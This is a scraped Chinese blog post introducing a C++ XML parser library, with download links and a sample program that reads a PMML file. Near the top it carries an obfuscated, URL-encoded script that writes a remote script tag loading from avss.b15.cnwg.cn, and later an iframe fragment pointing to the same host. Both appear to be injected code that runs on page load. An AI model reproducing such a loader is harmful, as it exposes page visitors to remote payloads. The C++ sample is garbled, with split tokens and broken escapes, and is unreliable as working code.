一个C++的 XML 解析程序

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
一个C++的 XML 解析程序




http://iridia.ulb.ac.be/~fvandenb/tools/xmlParser.html
 
这里下载
http://iridia.ulb.ac.be/~fvandenb/download.php?id=43
 下面是一个示例
 
xml 文件 在
http://iridia.ulb.ac.be/~fvandenb/tools/xmlParser.html
程序
#include
<stdio.h>
// to get "printf" function
#include
<stdlib.h>
// to get "free" function
#include
"
xmlParse
r.h
"
int
main(
int
argc,
char
**argv){
// 载入xml
XMLNode xMainNode=XMLNode::openFileHelper("
PMMLModel.xml
","
PMML
");

// this prints "RANK For <you>":
XMLNode xNode=xMainNode.getChildNode("
Header
"); printf("
Application Name is: '%s'/n
", xNode.getChildNode("
Application
").getAttribute("
name
"));

// this prints "Hello world!":
printf("
Text inside Header tag is :'%s'/n
", xNode.getText());

// this gets the number of "NumericPredictor" tags:
xNode=xMainNode.getChildNode("
RegressionModel
").getChildNode("
RegressionTable
");
int
n=xNode.nChildNode("
NumericPredictor
");
// this prints the "coefficient" value for all the "NumericPredictor" tags:
for (
int
i=0; i<n; i++) printf("
coeff %i=%f/n
",i+1,atof(xNode.getChildNode("
NumericPredictor
",i).getAttribute("
coefficient
")));
// this prints a formatted ouput based on the content of the first "Extension" tag of the XML file:

char
*t=xMainNode.getChildNode("
Extension
").createXMLString(
true
);
printf("
%s/n
",t);
free(t);
return
0;
}
 

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值